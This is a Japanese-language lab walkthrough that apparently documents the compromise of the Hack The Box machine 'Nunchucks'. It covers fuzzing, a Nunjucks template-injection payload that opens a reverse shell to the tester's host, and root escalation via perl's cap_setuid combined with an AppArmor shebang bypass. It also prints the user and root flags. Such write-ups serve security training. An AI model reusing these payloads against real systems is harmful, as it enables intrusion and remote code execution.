- 本記事の概要
- ポートスキャン
- 名前解決のためのhostsファイル更新(1回目)
- Webアクセスできるファイル/ディレクトリ調査(1回目)
- Webサイトの動作確認
- Webアクセスできるサブドメイン調査
- 名前解決のためのhostsファイル更新(2回目)
- Webアクセスできるファイル/ディレクトリ調査(2回目)
- サーバーサイド・テンプレート・インジェクション(SSTI)攻撃の試行
- サーバーサイド・テンプレート・インジェクション(SSTI)攻撃を用いたリバースシェル
- 特権昇格のための調査(SUIDなど)
- linpeas.shを用いた脆弱性調査
- 特権昇格(CAP_SETUIDの設定の脆弱性)
- 関連記事(Hack The Box)
本記事の概要
Hack The BoxのLinuxサーバの難易度Easyのマシンである「Nunchucks」に対する攻撃手法を記載します。
本記事では、以下の手順を記載します。
(1) ポートスキャン
(2) 名前解決のためのhostsファイル更新(1回目)
(3) Webアクセスできるファイル/ディレクトリ調査(1回目)
(4) Webサイトの動作確認
(5) Webアクセスできるサブドメイン調査
(6) 名前解決のためのhostsファイル更新(2回目)
(7) Webアクセスできるファイル/ディレクトリ調査(2回目)
(8) サーバーサイド・テンプレート・インジェクション(SSTI)攻撃の試行
(9) サーバーサイド・テンプレート・インジェクション(SSTI)攻撃を用いたリバースシェル
(10) 特権昇格のための調査(SUIDなど)
(11) linpeas.shを用いた脆弱性調査
(12) 特権昇格(CAP_SETUIDの設定の脆弱性)
※画面や記載している手順は記事を作成した時点のものですので、画面などが変わっている可能性があります。
ポートスキャン
(1) nmapコマンドを実行して、応答があるポート番号を確認する。SSH(22/tcp) やHTTP(80/tcp)のポートが応答がある。
$ nmap -sS -sC -sV -A -p- -Pn --min-rate 5000 10.10.11.122
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-14 16:28 JST
Nmap scan report for 10.10.11.122
Host is up (0.38s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 6c:14:6d:bb:74:59:c3:78:2e:48:f5:11:d8:5b:47:21 (RSA)
| 256 a2:f4:2c:42:74:65:a3:7c:26:dd:49:72:23:82:72:71 (ECDSA)
|_ 256 e1:8d:44:e7:21:6d:7c:13:2f:ea:3b:83:58:aa:02:b3 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to https://nunchucks.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
443/tcp open ssl/http nginx 1.18.0 (Ubuntu)
|_http-title: 400 The plain HTTP request was sent to HTTPS port
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_ssl-date: TLS randomness does not represent time
| tls-nextprotoneg:
|_ http/1.1
| tls-alpn:
|_ http/1.1
| ssl-cert: Subject: commonName=nunchucks.htb/organizationName=Nunchucks-Certificates/stateOrProvinceName=Dorset/countryName=UK
| Subject Alternative Name: DNS:localhost, DNS:nunchucks.htb
| Not valid before: 2021-08-30T15:42:24
|_Not valid after: 2031-08-28T15:42:24
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 8888/tcp)
HOP RTT ADDRESS
1 203.71 ms 10.10.16.1
2 410.62 ms 10.10.11.122
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 77.27 seconds名前解決のためのhostsファイル更新(1回目)
(1) ブラウザを用いて「http://10.10.11.122/」にアクセスすると、「https://nunchucks.htb/」にリダイレクトされる。
(2) 名前解決できるようにKali Linuxの/etc/hostsファイルに記載する。
$ echo '10.10.11.122 nunchucks.htb' | sudo tee -a /etc/hosts
$ cat /etc/hosts
→「10.10.11.122 nunchucks.htb」が出力されることを確認する。
(3) ブラウザを用いて「https://nunchucks.htb/」にアクセスすると、信頼されていないSSL証明書を使用している旨の画面が表示される。その後、「Advanced…」をクリックする。
(4) 「Accept the Risk and Continue」をクリックする。
(5) Webページが表示されることを確認する。
Webアクセスできるファイル/ディレクトリ調査(1回目)
(1) feroxbusterを用いてアクセスできるURLを確認するが、特に気になる結果はない。
$ feroxbuster -u https://nunchucks.htb/ -d 2 -C 400,403,404,405,500 -k
ーーー(省略)ーーー
200 GET 187l 683w 9488c https://nunchucks.htb/signup
200 GET 32l 178w 14726c https://nunchucks.htb/assets/images/testimonial-3.jpg
200 GET 23l 223w 16239c https://nunchucks.htb/assets/images/testimonial-1.jpg
200 GET 12l 78w 4155c https://nunchucks.htb/assets/images/customer-logo-1.png
200 GET 29l 175w 13737c https://nunchucks.htb/assets/images/testimonial-5.jpg
200 GET 22l 149w 12481c https://nunchucks.htb/assets/images/testimonial-6.jpg
200 GET 29l 164w 13338c https://nunchucks.htb/assets/images/testimonial-2.jpg
200 GET 44l 411w 5958c https://nunchucks.htb/assets/js/jquery.easing.min.js
200 GET 37l 159w 12917c https://nunchucks.htb/assets/images/testimonial-4.jpg
200 GET 60l 407w 25133c https://nunchucks.htb/assets/images/details-1.png
200 GET 15l 33w 530c https://nunchucks.htb/assets/js/login.js
200 GET 183l 662w 9172c https://nunchucks.htb/login
301 GET 10l 16w 179c https://nunchucks.htb/assets => https://nunchucks.htb/assets/
200 GET 1620l 3174w 29776c https://nunchucks.htb/assets/css/styles.css
200 GET 59l 430w 27406c https://nunchucks.htb/assets/images/details-3.png
200 GET 245l 1737w 17753c https://nunchucks.htb/terms
200 GET 250l 1863w 19134c https://nunchucks.htb/privacy
ーーー(省略)ーーー

(2) dirsearchを用いてアクセスできるURLを確認するが、特に気になるURLはない。
$ sudo dirsearch -u https://nunchucks.htb/
ーーー(省略)ーーー
[18:53:30] Starting:
[18:54:10] 301 - 179B - /assets -> /assets/
[18:54:41] 200 - 9KB - /login
[18:54:42] 200 - 9KB - /login/
[18:54:57] 200 - 19KB - /privacy
[18:55:05] 200 - 9KB - /signup
[18:55:11] 200 - 17KB - /terms
Task Completed
(3) ffufを用いてアクセスできるURLを確認するが、特に気になるURLはない。
$ ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt:FUZZ -u "https://nunchucks.htb/FUZZ" -ic
ーーー(省略)ーーー
[Status: 200, Size: 30589, Words: 12757, Lines: 547, Duration: 217ms]
login [Status: 200, Size: 9172, Words: 3129, Lines: 184, Duration: 216ms]
privacy [Status: 200, Size: 19134, Words: 5929, Lines: 251, Duration: 240ms]
terms [Status: 200, Size: 17753, Words: 5558, Lines: 246, Duration: 223ms]
signup [Status: 200, Size: 9488, Words: 3266, Lines: 188, Duration: 220ms]
assets [Status: 301, Size: 179, Words: 7, Lines: 11, Duration: 220ms]
Privacy [Status: 200, Size: 19134, Words: 5929, Lines: 251, Duration: 219ms]
Login [Status: 200, Size: 9172, Words: 3129, Lines: 184, Duration: 213ms]
Terms [Status: 200, Size: 17753, Words: 5558, Lines: 246, Duration: 214ms]
Assets [Status: 301, Size: 179, Words: 7, Lines: 11, Duration: 225ms]
Signup [Status: 200, Size: 9488, Words: 3266, Lines: 188, Duration: 213ms]
SignUp [Status: 200, Size: 9488, Words: 3266, Lines: 188, Duration: 207ms]
signUp [Status: 200, Size: 9488, Words: 3266, Lines: 188, Duration: 214ms]
PRIVACY [Status: 200, Size: 19134, Words: 5929, Lines: 251, Duration: 236ms]
[Status: 200, Size: 30589, Words: 12757, Lines: 547, Duration: 212ms]
LogIn [Status: 200, Size: 9172, Words: 3129, Lines: 184, Duration: 419ms]
LOGIN [Status: 200, Size: 9172, Words: 3129, Lines: 184, Duration: 224ms]
ーーー(省略)ーーー
Webサイトの動作確認
(1) ブラウザを用いて「https://nunchucks.htb/」にアクセスして、「Start selling」をクリックする。
(2) 任意のアカウント情報を入力して、「Sign Up」をクリックする。
(3) 現在はアカウント登録は閉鎖されている旨のメッセージが表示されるため、使用できないWebページであると思われる。
Webアクセスできるサブドメイン調査
(1) ffufを用いてアクセスできるnunchucks.htbのサブドメインを調査すると、store.nunchucks.htbというサブドメインがあることが分かる。
$ ffuf -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt:FFUZ -H "Host: FFUZ.nunchucks.htb" -u https://nunchucks.htb -fs 30589 -k
ーーー(省略)ーーー
store [Status: 200, Size: 4029, Words: 1053, Lines: 102, Duration: 461ms]
:: Progress: [100000/100000] :: Job [1/1] :: 165 req/sec :: Duration: [0:09:36] :: Errors: 0 ::
ーーー(省略)ーーー
名前解決のためのhostsファイル更新(2回目)
(1) 名前解決できるようにKali Linuxの/etc/hostsファイルに記載する。
$ echo '10.10.11.122 store.nunchucks.htb' | sudo tee -a /etc/hosts
$ cat /etc/hosts
→「10.10.11.122 store.nunchucks.htb」が出力されることを確認する。
(2) ブラウザを用いて「https://store.nunchucks.htb/」にアクセスすると、Webページが表示される。
Webアクセスできるファイル/ディレクトリ調査(2回目)
(1) feroxbusterを用いてアクセスできるURLを確認するが、特に気になる結果はない。
$ feroxbuster -u https://store.nunchucks.htb/ -d 2 -C 400,403,404,405,500 -k
ーーー(省略)ーーー
200 GET 20l 82w 6403c https://store.nunchucks.htb/assets/images/flags/GB.png
200 GET 7l 15w 245c https://store.nunchucks.htb/assets/css/fonts.css
200 GET 14l 30w 424c https://store.nunchucks.htb/assets/js/main.js
200 GET 16l 82w 6002c https://store.nunchucks.htb/assets/images/flags/US.png
301 GET 10l 16w 179c https://store.nunchucks.htb/assets => https://store.nunchucks.htb/assets/
200 GET 1566l 2676w 25180c https://store.nunchucks.htb/assets/css/font-awesome.css
200 GET 936l 2376w 25601c https://store.nunchucks.htb/assets/css/nunchucks.css
200 GET 9l 335w 27749c https://store.nunchucks.htb/assets/js/bootstrap.min.js
200 GET 7098l 14189w 126432c https://store.nunchucks.htb/assets/css/bootstrap.css
200 GET 9789l 41511w 273198c https://store.nunchucks.htb/assets/js/jquery-1.10.2.js
301 GET 10l 16w 187c https://store.nunchucks.htb/assets/css => https://store.nunchucks.htb/assets/css/
301 GET 10l 16w 193c https://store.nunchucks.htb/assets/images => https://store.nunchucks.htb/assets/images/
301 GET 10l 16w 185c https://store.nunchucks.htb/assets/js => https://store.nunchucks.htb/assets/js/
200 GET 1474l 8928w 603298c https://store.nunchucks.htb/assets/images/default.jpg
200 GET 356l 1823w 645104c https://store.nunchucks.htb/assets/images/favicon.ico
200 GET 101l 259w 4029c https://store.nunchucks.htb/
ーーー(省略)ーーー

(2) dirsearchを用いてアクセスできるURLを確認するが、特に気になるURLはない。
$ sudo dirsearch -u https://store.nunchucks.htb/
ーーー(省略)ーーー
[23:07:31] Starting:
[23:08:16] 301 - 179B - /assets -> /assets/
Task Completed
(3) ffufを用いてアクセスできるURLを確認するが、特に気になるURLはない。
$ ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt:FUZZ -u "https://store.nunchucks.htb/FUZZ" -ic -fs 45
ーーー(省略)ーーー
[Status: 200, Size: 4029, Words: 1053, Lines: 102, Duration: 356ms]
assets [Status: 301, Size: 179, Words: 7, Lines: 11, Duration: 218ms]
Assets [Status: 301, Size: 179, Words: 7, Lines: 11, Duration: 216ms]
[Status: 200, Size: 4029, Words: 1053, Lines: 102, Duration: 225ms]
:: Progress: [220546/220546] :: Job [1/1] :: 155 req/sec :: Duration: [0:24:06] :: Errors: 0 ::
ーーー(省略)ーーー
サーバーサイド・テンプレート・インジェクション(SSTI)攻撃の試行
(1) HackTricks(https://book.hacktricks.wiki/en/pentesting-web/ssti-server-side-template-injection/index.html)の内容を確認すると、{{7*7}}などでサーバーサイド・テンプレート・インジェクション(SSTI)攻撃の成功有無を確認できることが分かる。
(2) ブラウザを用いて「https://store.nunchucks.htb/」にアクセスして、任意のメールアドレスを入力する。
(3) Burp Suiteでメールアドレス送信時のリクエストデータを確認する。
【リクエストデータ】
POST /api/submit HTTP/1.1
Host: store.nunchucks.htb
Cookie: _csrf=dT9tAsdJfTSeU_YsYdHxR7-K
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://store.nunchucks.htb/
Content-Type: application/json
Content-Length: 36
Origin: https://store.nunchucks.htb
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0
Te: trailers
Connection: keep-alive
{"email":"zeri@store.nunchucks.htb"}
(4) Request欄の右クリックで選択し、「Send to Repeater」をクリックする。
(5) Burp Suiteの上部の「Repeater」タブをクリックする。
(6) POSTメソッドのemailパラメータに「{{7*7}}」を追記して、「Send」をクリックする。その後、Response欄の値を確認すると、「49(=7*7の計算結果)」が表示されているためSSTI攻撃ができることが分かる。
【リクエストデータ】
POST /api/submit HTTP/1.1
Host: store.nunchucks.htb
Cookie: _csrf=dT9tAsdJfTSeU_YsYdHxR7-K
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://store.nunchucks.htb/
Content-Type: application/json
Content-Length: 36
Origin: https://store.nunchucks.htb
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0
Te: trailers
Connection: keep-alive
{"email":"zeri@store.nunchucks.htb{{7*7}}"}
サーバーサイド・テンプレート・インジェクション(SSTI)攻撃を用いたリバースシェル
(1) feroxbusterの結果などで.jsファイルを使用しているため、Node.jsを用いてWebサイトを構築していると推測できる。そのため、HackTricks(https://book.hacktricks.wiki/en/pentesting-web/ssti-server-side-template-injection/index.html)でNode.jsのサーバーサイド・テンプレート・インジェクション(SSTI)攻撃の文字列を調べる。
【HackTricksに記載されているNUNJUCKS (NodeJS)のSSTI攻撃のペイロード】
{
{
range.constructor(
"return global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/10.10.14.11/6767 0>&1\"')"
)()
}
}
(2) Kali Linux側で1234/tcpで待ち受ける。
$ ip a
→Kali LinuxのVPN用のインターフェースのIPアドレスは「10.10.16.10」
$ nc -lvnp 1234
listening on [any] 1234 ...
(3) POSTメソッドのemailパラメータに追記して、「Send」をクリックする。
【リクエストデータ】
POST /api/submit HTTP/1.1
Host: store.nunchucks.htb
Cookie: _csrf=dT9tAsdJfTSeU_YsYdHxR7-K
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://store.nunchucks.htb/
Content-Type: application/json
Content-Length: 57
Origin: https://store.nunchucks.htb
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0
Te: trailers
Connection: keep-alive
{"email":"zeri@store.nunchucks.htb{{range.constructor(\"return global.process.mainModule.require('child_process').execSync('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.16.10 1234 >/tmp/f')\")()}}"}

(4) 「nc -lvnp 1234」コマンドを実行していたプロンプトに応答があり、任意のコマンドを実行できるようになる。
$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.10.16.10] from (UNKNOWN) [10.10.11.122] 42840
sh: 0: can't access tty; job control turned off
$
(5) 現在ログインしているユーザー情報を確認すると、davidユーザーであることが分かる。
※davidユーザーでログインした攻撃対象のマシン(Nunchucks)上で以下のコマンドを実行する。
$ id
uid=1000(david) gid=1000(david) groups=1000(david)
$ whoami
david
(6) 完全なシェルを奪取する。
※davidユーザーでログインした攻撃対象のマシン(Nunchucks)上で以下のコマンドを実行する。
$ which python3
/usr/bin/python3
$ /usr/bin/python3 -c 'import pty; pty.spawn("/bin/bash")'
[Ctrl]+[Z]でバックグラウンドに移す
$ stty raw -echo;fg
$ bash
$ export TERM=xterm
(7) 一般ユーザー用のフラグファイルの内容を確認する。
※davidユーザーでログインした攻撃対象のマシン(Nunchucks)上で以下のコマンドを実行する。
$ cat /home/david/user.txt
8826a220798bef85954091e266d60d26特権昇格のための調査(SUIDなど)
(1) sudoコマンドの設定を確認する。
※davidユーザーでログインした攻撃対象のマシン(Nunchucks)上で以下のコマンドを実行する。
$ sudo -l
→パスワードが分からないため確認できない。
(2) SUIDファイルを検索する。
※davidユーザーでログインした攻撃対象のマシン(Nunchucks)上で以下のコマンドを実行する。
$ find / -perm -u=s -type f 2> /dev/null
/usr/bin/fusermountr/www/store.nunchucks$ find / -perm -u=s -type f 2> /dev/null
/usr/bin/umount
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/at
/usr/bin/mount
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/passwd
/usr/bin/pkexec
/usr/bin/su
/usr/bin/sudo
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/sbin/pppd
(3) .bash_historyファイルを確認すると、何も出力されない。
※davidユーザーでログインした攻撃対象のマシン(Nunchucks)上で以下のコマンドを実行する。
$ cat /home/david/.bash_history
(4) 攻撃対象のマシン上でポートスキャンを実行して、応答がポート番号を確認する。
※davidユーザーでログインした攻撃対象のマシン(Nunchucks)上で以下のコマンドを実行する。
$ for port in {1..65535}; do echo > /dev/tcp/127.0.0.1/$port && echo "$port open"; done 2>/dev/null
22 open
80 open
443 open
3306 open
8000 open
8001 open
33060 open
46054 open
(5) OSの情報を確認すると、「Ubuntu 20.04.3 LTS」であることが分かる。
※davidユーザーでログインした攻撃対象のマシン(Nunchucks)上で以下のコマンドを実行する。
$ uname -a
Linux nunchucks 5.4.0-86-generic #97-Ubuntu SMP Fri Sep 17 19:19:40 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description: Ubuntu 20.04.3 LTS
Release: 20.04
Codename: focal
(6) 8000/tcpと8001/tcpにアクセスしてレスポンスデータを確認するが、特に気になる情報はない。
※davidユーザーでログインした攻撃対象のマシン(Nunchucks)上で以下のコマンドを実行する。
$ curl http://localhost:8000
→「https://nunchucks.htb/」にアクセス時のWebページのHTMLが表示される。
$ curl http://localhost:8001
→「https://store.nunchucks.htb/」にアクセス時のWebページのHTMLが表示される。
linpeas.shを用いた脆弱性調査
(1) linpeas.shを用いてサーバの脆弱性を調査するため、一旦Kali Linux側にlinpeas.shファイルを格納する。
※Kali Linux上で以下のコマンドを実行する。
linpeas.shがダウンロードする。
$ wget https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh -p ~/
linpeas.shを現在のディレクトリにコピーする。
$ cp ./github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh ./
攻撃対象マシン(BoardLight)からKali LinuxにアクセスするためIPアドレスを確認する。
$ ip a
→kali LinuxのVPN用インターフェースのIPアドレスが「10.10.16.10」であることを確認。
Webサーバとして起動する。
$ python3 -m http.server 8081
(2) davidユーザーでログインしたプロンプトにてlinpeas.shを実行権限を付与する。
※davidユーザーでログインした攻撃対象のマシン(Nunchucks)上で以下のコマンドを実行する。
$ cd /tmp
$ wget http://10.10.16.10:8081/linpeas.sh
→「linpeas.sh」がダウンロードされる。
$ ls
→「linpeas.sh」ファイルがあることを確認する
$ chmod +x linpeas.sh
(3) linpeas.shを実行する。
※davidユーザーでログインした攻撃対象のマシン(Nunchucks)上で以下のコマンドを実行する。
$ ./linpeas.sh > output.txt
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . uniq: write error: Broken pipe
uniq: write error: Broken pipe
cat: write error: Broken pipe
cat: write error: Broken pipe
grep: Invalid content of \{\}
ーーー(省略)ーーー
(4) linpeas.shの実行結果を確認すると、「/usr/bin/perl = cap_setuid+ep」があるためperlにLinux CAP_SETUID機能が設定されていることが分かる。
※davidユーザーでログインした攻撃対象のマシン(Nunchucks)上で以下のコマンドを実行する。
$ cat output.txt
ーーー(省略)ーーー
Files with capabilities (limited to 50):
/usr/bin/perl = cap_setuid+ep
/usr/bin/mtr-packet = cap_net_raw+ep
/usr/bin/ping = cap_net_raw+ep
/usr/bin/traceroute6.iputils = cap_net_raw+ep
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep
ーーー(省略)ーーー
特権昇格(CAP_SETUIDの設定の脆弱性)
(1) linpeas.shでも確認したが、再度Linuxのケーパビリティ(capability)の値を確認する。
$ getcap -r / 2> /dev/null
/usr/bin/perl = cap_setuid+ep
/usr/bin/mtr-packet = cap_net_raw+ep
/usr/bin/ping = cap_net_raw+ep
/usr/bin/traceroute6.iputils = cap_net_raw+ep
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep
(2) ブラウザを用いてGTFOBins(https://gtfobins.github.io/)にアクセスする。
(3) GTFOBins上で「perl」を検索し「Capabilities」をクリックする。
(4) 「perl」の「Capabilities」を用いた特権昇格のコマンドを確認する。
(5) GTFOBinsに記載されているペイロードを実行するが、何も変わらない。
$ /usr/bin/perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'
(6) whoamiコマンドを実行するように変更して実行すると、rootユーザーであることが分かる。
$ /usr/bin/perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "whoami";'
root
(7) /root/配下のファイルを確認しようとすると、権限がない旨のメッセージが表示され実行できない。
$ /usr/bin/perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "ls /root/";'
ls: cannot open directory '/root/': Permission denied
(8) /etc/apparmor.d/usr.bin.perlの内容を確認すると、AppArmorにて/root/などの文字列が制限されていることが分かる。また、/opt/backup.plというファイルは許可されていることが分かる。
※AppArmorとは、実行されるプログラムごとにファイルアクセスやシステムコールなどの権限を「プロファイル」によって制限するセキュリティ機能。
$ ls /etc/apparmor.d/usr.bin.perl
/etc/apparmor.d/usr.bin.perl
david@nunchucks:/tmp$ cat /etc/apparmor.d/usr.bin.perl
# Last Modified: Tue Aug 31 18:25:30 2021
#include <tunables/global>
/usr/bin/perl {
#include <abstractions/base>
#include <abstractions/nameservice>
#include <abstractions/perl>
capability setuid,
deny owner /etc/nsswitch.conf r,
deny /root/* rwx,
deny /etc/shadow rwx,
/usr/bin/id mrix,
/usr/bin/ls mrix,
/usr/bin/cat mrix,
/usr/bin/whoami mrix,
/opt/backup.pl mrix,
owner /home/ r,
owner /home/david/ r,
}
(9) /opt/backup.plの権限を確認するが、一般ユーザーに書き込み権限がないため編集できないことが分かる。
$ ls -l /etc/apparmor.d/usr.bin.perl
-rw-r--r-- 1 root root 442 Sep 26 2021 /etc/apparmor.d/usr.bin.perl
(10) /etc/apparmor.d/usr.bin.perlの内容を確認するが、特にユーザーが入力する処理がないため悪用できないことが分かる。
$ cat /opt/backup.pl
#!/usr/bin/perl
use strict;
use POSIX qw(strftime);
use DBI;
use POSIX qw(setuid);
POSIX::setuid(0);
my $tmpdir = "/tmp";
my $backup_main = '/var/www';
my $now = strftime("%Y-%m-%d-%s", localtime);
my $tmpbdir = "$tmpdir/backup_$now";
sub printlog
{
print "[", strftime("%D %T", localtime), "] $_[0]\n";
}
sub archive
{
printlog "Archiving...";
system("/usr/bin/tar -zcf $tmpbdir/backup_$now.tar $backup_main/* 2>/dev/null");
printlog "Backup complete in $tmpbdir/backup_$now.tar";
}
if ($> != 0) {
die "You must run this script as root.\n";
}
printlog "Backup starts.";
mkdir($tmpbdir);
&archive;
printlog "Moving $tmpbdir/backup_$now to /opt/web_backups";
system("/usr/bin/mv $tmpbdir/backup_$now.tar /opt/web_backups/");
printlog "Removing temporary directory";
rmdir($tmpbdir);
printlog "Completed";
(11) 「AppArmor Perl bugs」でGoogle検索すると、
「https://bugs.launchpad.net/apparmor/+bug/1911431」にスクリプトファイルに「#!/usr/bin/perl」を記載して実行権限を付与したファイルを実行することでAppArmorを回避できることが分かる。
(12) GTFOBins上に記載されているペイロードを参考にして、特権昇格をするスクリプトファイルを作成する。
$ vi privilege.pl
【privilege.plの内容】
#!//usr/bin/perl
use POSIX qw(setuid);
POSIX::setuid(0);
system("/bin/bash -p");
(13) スクリプトファイルに実行権限を付与して実行すると、root権限のプロンプトが表示されることが分かる。また、参考までに、「./privilege.pl」ではなく、「perl privilege.pl」で実行するとAppArmorで制限されてしまい実行できない。
$ chmod +x privilege.pl
$ ./privilege.pl
→root権限のプロンプト(#)が表示される。
(14) 現在ログインしているユーザー情報を確認すると、rootユーザーであることが分かる。
# id
uid=0(root) gid=1000(david) groups=1000(david)
root@nunchucks:/tmp# whoami
root
(15) 特権ユーザー用のフラグファイルの内容を確認する。
# cat /root/root.txt
44b43491f95479807db00fb37a175cb5関連記事(Hack The Box)
※後日作成予定。

